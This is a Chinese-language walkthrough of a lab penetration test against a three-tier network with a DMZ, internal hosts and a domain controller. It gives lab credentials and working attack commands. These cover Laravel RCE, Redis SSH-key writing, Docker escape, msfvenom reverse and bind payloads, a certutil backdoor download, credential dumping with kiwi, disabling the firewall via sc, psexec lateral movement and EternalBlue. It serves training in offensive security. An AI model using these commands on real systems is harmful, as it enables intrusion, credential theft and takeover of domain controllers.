靶场拓补图,ip具体还得看自己的环境
渗透之前,我们还需要到开启相应的服务配置,每次开机都需要进行配置开启
DMZ区的 Ubuntu 需要启动redis和nginx服务:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe
域用户信息
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
设置好相应配置后,现在就可以开始测试了
一、攻击ubtun(web1)
1.1信息收集
开启80,22,81,6379端口,6379位redis服务,访问81端口
1.2Laravel漏洞利用
在网上搜索关于laravel对于版本的漏洞,发现了利用脚本,laravel-CVE-2021-3129-EXP-main
直接使用gershell
使用哥斯拉进行连接,这里需要用低版本的哥斯拉,成功连接
msf生成linux木马,开启监听,使用哥斯拉上传木马进行执行
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.43.54 lport=2222 -f elf > ctf2.elf
反弹shell失败,猜测这里可能是第二台主机docker环境搭建的,我们获取的webshell权限是第二台搭建的docker权限,不出网,我们只拿到了docker的权限 ,所以会反弹失败,只能利用其它的了,我们前面刚好收集到了6379Redis服务,尝试进行访问,
验证:cat /proc/self/cgroup 果然是docker环境
1.3Redies未授权访问
尝试进行ssh写入攻击,生成公钥,将公钥写入目标主机,最后直接用ssh就可连接目标主机
连接成功,获取我们的木马,并执行,成功上线msf拿下第一台web主机,那么第一次我们在web里面
二、攻击web2
2.1、信息收集
发现52网段
2.2、52网段路由添加
第一台的权限我们已经使用ssh登录成功获取了,第一次的webshll实际是获取了第二台的docker权限,因此我们可以通过webshell将第二台主机的docker权限弹回我们的已经获取的第一台里面去,再对其进行后续操作,可以看到已经反弹shell成功。
2.3、提权
现在我们获取的是docker,需要进行docker逃逸,都是docker逃逸需要root,因此我们需要进行提权,寻找一下看看可不可以具有SUID或4000权限的文件来进行提权
find / -perm -u=s -type f 2>/dev/null
发现一个shell文件,试着执行或者读取一下这个文件
该shell功能是展示ps进程,那么我们可以利用环境变量进行提权
成功提权
2.4、docker特权模式逃逸
现在的docker内的root权限允许拥有外部物理机的root权限,并且可以访问设备的任何文件
所以这里fdisk -l 查看挂载磁盘文件 ls /dev 查看设备文件,在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了
可以看到这里sda1是可以挂载的,然后我们mkdir创建一个tfc目录,然后使用mount挂载到tfc文件夹里面,
现在就可以进行带着tfc目录进行逃逸了
挂载成功,这样就可以通过访问tfc/home这个目录达到访问物理机了
2.5ssh写入密钥
这里可以看到.ssh文件
在第一台ubuntu生成ssh密钥
查看公钥
cp -avx tfc/home/ubuntu/.ssh/id_rsa.pub tfc/home/ubuntu/.ssh/authorized_keys #-avx是将权限也一起复制
echo > tfc/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPZqXsgqNZCA3lqpQMqC7dW52xzbk1QaN+cktZleYrXi6OJrLF49H+D32YIJplFEWJazHfK2o1RrN3ieU2TrBKwbxx3jvsJRtj+xsCGgfTTx+GoT1G/QP8B5MWAFmZIiXW76RLk74ridgARU86rG4BkKCmXYGV3/QVd9OUWnjt8A7bMHZTvmec7q2EqR1WYx6kP70myTBI9QkWB7DMhL86a/t8UCPA90yaJNK6IgTV78gSDFLInYlK5asYadwqxMKq+WQkiwhEq8j/aYpApiZ+udFMHX0HlreYVls8gCxmWKLMvNu0b8Fd7o6BCjfvnbiHnOheHFgf+RNGl87VicdP root@ubuntu
' > tfc/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件
cat tfc/home/ubuntu/.ssh/authorized_keys #查看是否写入成功
ssh -i id_rsa ubuntu@192.168.52.20
web2的ssh登录成功
msf生成正向后门
msfvenom -p linux/x64/meterpreter/bind_tcp lport=9999 -f elf > bind.elf
通过哥斯拉上传,再利用wget获取,赋予权限,执行
成功获得会话
添加路由
开启sock代理进行配置访问 ,或者上传iox使用正向代理,web1上面执行./iox proxy -l 2222
使用burp进行抓包
通达v11的oa,漏洞很多,随便网上找个rce
这里直接是未授权获取登录session
这里登录成功 ,进行未授权写图片马
可以看到成功写入,并且路径为2301/13571617,进行文件包含,执行命令,可以看到执行成功
这时去生成一个windows的正向msf木马后门
上传给192.168.52.10之后,使用命令下载这个后门
certutil -urlcache -split -f http://192.168.52.10:81/1010.exe c:/1010.exe
执行后门,成功获得shell
收集信息和网卡信息,发现93网段有两台主机,进行msf93网段横向移动,
收集密码进行横向移动,加载kiwi收集密码,并且知道域控是192.168.93.30和它的明文密码
kiwi_cmd sekurlsa::logonpasswords
可以看到一大堆明文密码,我们可以使用msf自带的 psexec进行移动,移动之前我们还需要关闭92.30网段的防火墙,利用ipc进行连接关闭防火墙
先建立ipc连接
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
创建关闭防火墙任务
sc \\192.168.93.30 create unablefirewall binpath="netsh advfirewall set allprofiles state off"
执行
sc \\192.168.93.30 start unablefirewall
可以看到已经关闭它的防火墙了
利用msf自带的psexec进行横向移动
设置上面得到的域控用户和密码
成功拿到域控
还剩下一台93.40的机器,发现 开启445端口,直接使用永恒之蓝就可以了。
这里也可以验证到可以使用永恒之蓝,直接利用永恒之蓝模块就可以了